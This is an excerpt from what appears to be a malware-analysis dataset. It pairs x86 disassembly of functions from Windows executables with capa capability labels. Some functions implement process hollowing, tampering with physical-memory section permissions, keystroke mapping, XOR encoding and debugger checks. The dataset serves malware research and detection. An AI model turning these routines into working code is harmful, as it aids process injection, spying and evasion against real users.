joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402690
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
push 0x405084
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.RtlAnsiStringToUnicodeString
push esi
call edi
push str.RtlInitAnsiString
push esi
mov dword [0x405d3c], eax
call edi
push str.RtlFreeUnicodeString
push esi
mov dword [0x405d38], eax
call edi
push str.NtOpenSection
push esi
mov dword [0x405d34], eax
call edi
push str.NtMapViewOfSection
push esi
mov dword [0x405d30], eax
call edi
push str.NtUnmapViewOfSection
push esi
mov dword [0x405d2c], eax
call edi
push str.ZwQuerySystemInformation
push esi
mov dword [0x405d28], eax
call edi
mov ecx, dword [0x405d3c]
pop edi
test ecx, ecx
mov dword [0x405d24], eax
pop esi
je 0x402748
mov ecx, dword [0x405d38]
test ecx, ecx
je 0x402748
mov ecx, dword [0x405d34]
test ecx, ecx
je 0x402748
mov ecx, dword [0x405d30]
test ecx, ecx
je 0x402748
mov ecx, dword [0x405d2c]
test ecx, ecx
je 0x402748
mov ecx, dword [0x405d28]
test ecx, ecx
je 0x402748
test eax, eax
je 0x402748
mov eax, 1
ret
xor eax, eax
ret

Function at 0x402840
Capabilities:
Get session user name

Disassembly:
sub esp, 0x160
lea eax, [esp + 0x54]
push esi
push str.devicephysicalmemory
push eax
xor esi, esi
call dword [0x405d38]
lea ecx, [esp + 0x58]
push 1
lea edx, [esp + 0x54]
push ecx
push edx
call dword [0x405d3c]
test eax, eax
je 0x402879
xor eax, eax
pop esi
add esp, 0x160
ret
lea ecx, [esp + 0x14]
lea edx, [esp + 4]
push ecx
lea eax, [esp + 0x54]
push 0x60000
push edx
mov dword [esp + 0x20], 0x18
mov dword [esp + 0x24], esi
mov dword [esp + 0x2c], 0x40
mov dword [esp + 0x28], eax
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
call dword [0x405d30]
test eax, eax
je 0x4028c0
xor eax, eax
pop esi
add esp, 0x160
ret
mov edx, dword [esp + 4]
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
push esi
push esi
push 4
push 6
push edx
call dword [sym.imp.ADVAPI32.dll_GetSecurityInfo]
test eax, eax
jne 0x402976
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push eax
push ecx
mov dword [esp + 0x14], 0x103
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x60]
lea eax, [esp + 8]
mov dword [esp + 0x48], edx
push eax
lea edx, [esp + 0x30]
push ecx
push edx
push 1
mov dword [esp + 0x3c], 2
mov dword [esp + 0x40], 1
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], 1
mov dword [esp + 0x54], 1
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
test eax, eax
jne 0x402976
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push esi
push eax
push esi
push esi
push 4
push 6
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
jne 0x40296b
mov esi, 1
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop esi
add esp, 0x160
ret
Function at 0x402da0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x138
push esi
mov esi, dword [esp + 0x140]
push edi
push 2
push 0
push esi
call sub.MSVCRT.dll_fseek
push esi
call sub.MSVCRT.dll_ftell
push 0
push 0
push esi
mov edi, eax
call sub.MSVCRT.dll_fseek
add esp, 0x1c
cmp edi, 0x40
jae 0x402dde
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push esi
push 1
lea eax, [esp + 0x28]
push 0x40
push eax
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp word [esp + 0x20], 0x5a4d
je 0x402e04
pop edi
xor al, al
pop esi
add esp, 0x138
ret
mov eax, dword [esp + 0x5c]
lea ecx, [eax + 0x18]
cmp edi, ecx
jae 0x402e1a
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push 0
push eax
push esi
call sub.MSVCRT.dll_fseek
push esi
push 1
lea edx, [esp + 0x1c]
push 0x18
push edx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp word [esp + 0x1c], 0xe0
je 0x402e49
pop edi
xor al, al
pop esi
add esp, 0x138
ret
push ebx
push esi
push 1
lea eax, [esp + 0x6c]
push pe_nt_image_headers32
push eax
call sub.MSVCRT.dll_fread
mov eax, dword [esp + 0x22]
and eax, 0xffff
lea ecx, [eax + eax*4]
shl ecx, 3
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov eax, dword [esp + 0x26]
and eax, 0xffff
push esi
push 1
lea edx, [eax + eax*4]
shl edx, 3
push edx
push ebx
call sub.MSVCRT.dll_fread
mov edi, dword [esp + 0x170]
mov ecx, 0x10
lea esi, [esp + 0x48]
mov eax, dword [esp + 0x17c]
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x174]
mov ecx, 6
lea esi, [esp + 0x30]
add esp, 0x24
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x154]
mov ecx, 0x38
lea esi, [esp + 0x64]
rep movsd dword es:[edi], dword [esi]
mov dword [eax], ebx
pop ebx
pop edi
mov al, 1
pop esi
add esp, 0x138
ret
Function at 0x402ee0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0
push 0
push ebp
call sub.MSVCRT.dll_fseek
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
mov ax, word [ecx + 6]
mov esi, dword [ebx + 0x3c]
test eax, eax
jle 0x402f1f
mov edx, dword [esp + 0x24]
add edx, 0x14
mov ecx, dword [edx]
cmp ecx, esi
jae 0x402f19
mov esi, ecx
add edx, 0x28
dec eax
jne 0x402f11
mov edi, dword [esp + 0x28]
push ebp
push esi
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
je 0x402f3b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
mov eax, dword [ebx + 0x20]
mov ecx, dword [ebx + 0x3c]
push eax
push ecx
call fcn.004022c0
mov edx, dword [esp + 0x24]
mov ebx, eax
add esp, 8
add ebx, edi
cmp word [edx + 6], 0
mov dword [esp + 0x14], 0
jbe 0x402fd3
mov eax, dword [esp + 0x24]
lea edi, [eax + 8]
mov esi, dword [edi + 8]
mov eax, dword [edi]
test esi, esi
jbe 0x402fa2
cmp esi, eax
jbe 0x402f78
mov esi, eax
mov ecx, dword [edi + 0xc]
push 0
push ecx
push ebp
call sub.MSVCRT.dll_fseek
push ebp
push esi
push 1
push ebx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp eax, esi
jne 0x402f34
mov edx, dword [esp + 0x20]
mov ecx, dword [edi]
mov eax, dword [edx + 0x20]
push eax
push ecx
jmp 0x402faf
test eax, eax
je 0x402fb9
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x20]
push ecx
push eax
call fcn.004022c0
add esp, 8
add ebx, eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x402f69
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x403060
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0x405284
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40312b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x403116
cmp dword [esp + 0x20], 0x10000
je 0x403116
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4030f5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x403170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00403060
add esp, 0xc
test eax, eax
je 0x40334e
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4031e2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4031e2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x403220
push str.ZwUnmapViewOfSection
push 0x405084
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x403220
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x403288
push ebp
call fcn.00403140
add esp, 4
test eax, eax
je 0x40327c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x403341
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.00402fe0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x403341
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x403329
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4032f7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x403303
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x403360
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x13c
test eax, eax
jne 0x40337a
mov eax, 1
add esp, 0x13c
ret
push edi
push 0x4053e8
push eax
call sub.MSVCRT.dll_fopen
mov edi, eax
add esp, 8
test edi, edi
je 0x403431
push ebx
lea eax, [esp + 8]
push esi
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push edi
call fcn.00402da0
add esp, 0x14
test al, al
je 0x403426
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00402250
add esp, 0x10
mov ebx, eax
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x403426
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push edi
call fcn.00402ee0
mov eax, dword [esp + 0x24]
push ebx
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00403170
add esp, 0x30
push edi
call sub.MSVCRT.dll_fclose
add esp, 4
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x13c
ret

Function at 0x403440
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
and ecx, 0xffff
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403468
pop edi
pop esi
pop ebx
ret
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x40347a
pop edi
pop esi
pop ebx
ret
mov edx, dword [esp + 0x1c]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
jne 0x4034a1
pop edi
pop esi
pop ebx
ret
push ebp
lea eax, [esp + 0x1c]
push 0
push eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
push ebx
push esi
call ebp
mov edi, dword [esp + 0x24]
test edi, edi
je 0x4034d9
lea ecx, [esp + 0x1c]
push 0
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x403560
Capabilities:
Get common file path
Set registry value
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x408922
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
call fcn.0040893f
xor dword [ebx], esi
add eax, ecx
inc ebx
cmp ebx, edx
jne fcn.00408922
and eax, eax
ret
Function at 0x4037a0
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
mov eax, 0x1c0c
call fcn.0040eb90
mov eax, dword [0x2c4bc44]
mov ecx, dword [0x2c4bbb8]
shr eax, 3
test eax, eax
jbe 0x4038db
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x4037f0
cmp dword [0x2c4bc44], 0x959
jne 0x4038bd
push 0
lea eax, [esp + 0x20]
push eax
push 0
push 0x402dbc
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x1020]
push ecx
push 0
call ebx
push 0
push 0
call esi
push 0x402de8
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0
lea edx, [esp + 0x824]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea eax, [esp + 0x1420]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0x402e50
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0x402e5c
push 0x402e6c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [esp + 0x10]
push eax
call fcn.004035d0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x4037f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c0c
ret
Function at 0x4062eb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4f3aa8]
jne 0x4062f5
repz ret
jmp fcn.0040a8ec

Function at 0x40cfbb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407c4e
and dword [ebp - 4], 0
cmp dword [0x4f5138], 0
mov ebx, eax
jne 0x40d06c
push 0x402ca4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d11d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c98
push edi
call esi
test eax, eax
je 0x40d11d
push eax
call fcn.00407bdc
mov dword [esp], 0x402c88
push edi
mov dword [0x4f5138], eax
call esi
push eax
call fcn.00407bdc
mov dword [esp], 0x402c74
push edi
mov dword [0x4f513c], eax
call esi
push eax
call fcn.00407bdc
mov dword [esp], 0x402c58
push edi
mov dword [0x4f5140], eax
call esi
push eax
call fcn.00407bdc
pop ecx
mov dword [0x4f5148], eax
test eax, eax
je 0x40d06c
push 0x402c40
push edi
call esi
push eax
call fcn.00407bdc
pop ecx
mov dword [0x4f5144], eax
mov eax, dword [0x4f5144]
cmp eax, ebx
je 0x40d0c4
cmp dword [0x4f5148], ebx
je 0x40d0c4
push eax
call fcn.00407c57
push dword [0x4f5148]
mov esi, eax
call fcn.00407c57
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d0c4
test edi, edi
je 0x40d0c4
call esi
test eax, eax
je 0x40d0bb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d0bb
test byte [ebp - 0xc], 1
jne 0x40d0c4
or dword [ebp + 0x10], 0x200000
jmp 0x40d0fd
mov eax, dword [0x4f513c]
cmp eax, ebx
je 0x40d0fd
push eax
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d0fd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d0fd
mov eax, dword [0x4f5140]
cmp eax, ebx
je 0x40d0fd
push eax
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d0fd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4f5138]
call fcn.00407c57
pop ecx
test eax, eax
je 0x40d11d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d11f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401bd9
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x4029d5
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2002c
call fcn.00442060
push ebx
push esi
push edi
lea ecx, [esp + 0x28]
call fcn.0040a567
lea eax, [esp + 0x38]
xor ebx, ebx
push eax
push 0x7fff
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0x13]
push eax
push dword [ebp + 8]
call fcn.00402dda
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x442c13
mov eax, dword [0x4d13f0]
test eax, eax
je 0x442c2b
xor edi, edi
mov esi, 0x4d23b0
inc edi
cmp eax, edi
je 0x442c37
lea eax, [esp + 0x11]
push eax
push ecx
push 0x4d13f0
push 0x4d1408
mov ecx, esi
call fcn.00402d86
test al, al
je 0x442c56
mov al, byte [0x4d23b0]
mov byte [0x4d13f4], al
mov al, byte [0x4d23b1]
mov byte [esp + 0x12], al
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1003c]
push eax
push 0x7fff
push dword [0x4d1408]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push dword [esp + 0x14]
mov ecx, 0x4d13e0
call fcn.004067bd
mov bl, byte [esp + 0x11]
push dword [0x4d13f0]
push 0x4d1408
call fcn.00401ce6
test eax, eax
jne 0x442c61
cmp byte [esp + 0x12], 1
je 0x442c7e
call fcn.00402b26
call fcn.00402c06
cmp byte [0x4d13f4], 0
mov ebx, 0x4d19b0
jne 0x402ae7
mov ecx, ebx
call fcn.004037eb
push edi
mov ecx, 0x4d1420
call fcn.0040b360
cmp byte [0x4d13f4], 0
jne 0x402b02
mov ecx, ebx
call fcn.00403095
mov ecx, esi
call fcn.00403ccf
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [esp + 0x28]
call fcn.004092c6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x10
push 0x4c5998
push str.This_is_a_third_party_compiled_AutoIt_script.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x402b14
or dword [0x4d134c], 0xffffffff
jmp 0x402b09
push 0xffffffffffffffff
push dword [0x4d13f8]
mov ecx, esi
push edi
call fcn.00406fb9
mov al, byte [0x4d1354]
mov byte [0x4d23b2], al
jmp 0x402aa5
mov dword [0x4d134c], edi
jmp 0x402b09
mov ecx, esi
call fcn.00403ccf
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x4d134c], edi
jmp 0x402b14
call fcn.00461742
test al, al
jne 0x402ac8
cmp byte [esp + 0x13], al
jne 0x402ac8
lea ecx, [esp + 0x28]
call fcn.00403a0e
push 0x4c2224
lea ecx, [esp + 0x1c]
call fcn.0040970d
lea ecx, [esp + 0x18]
test bl, bl
je 0x442cdb
mov edi, 0x4c59cc
push edi
call fcn.0040337a
push 0x4d1408
lea ecx, [esp + 0x1c]
call fcn.00406140
push edi
lea ecx, [esp + 0x1c]
call fcn.0040337a
push 1
jmp 0x442ce4
push dword [ebp + 8]
call fcn.0040337a
push edi
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x20]
push dword [esp + 0x34]
push 0x4c59d0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0x18]
call fcn.004092c6
jmp 0x402b02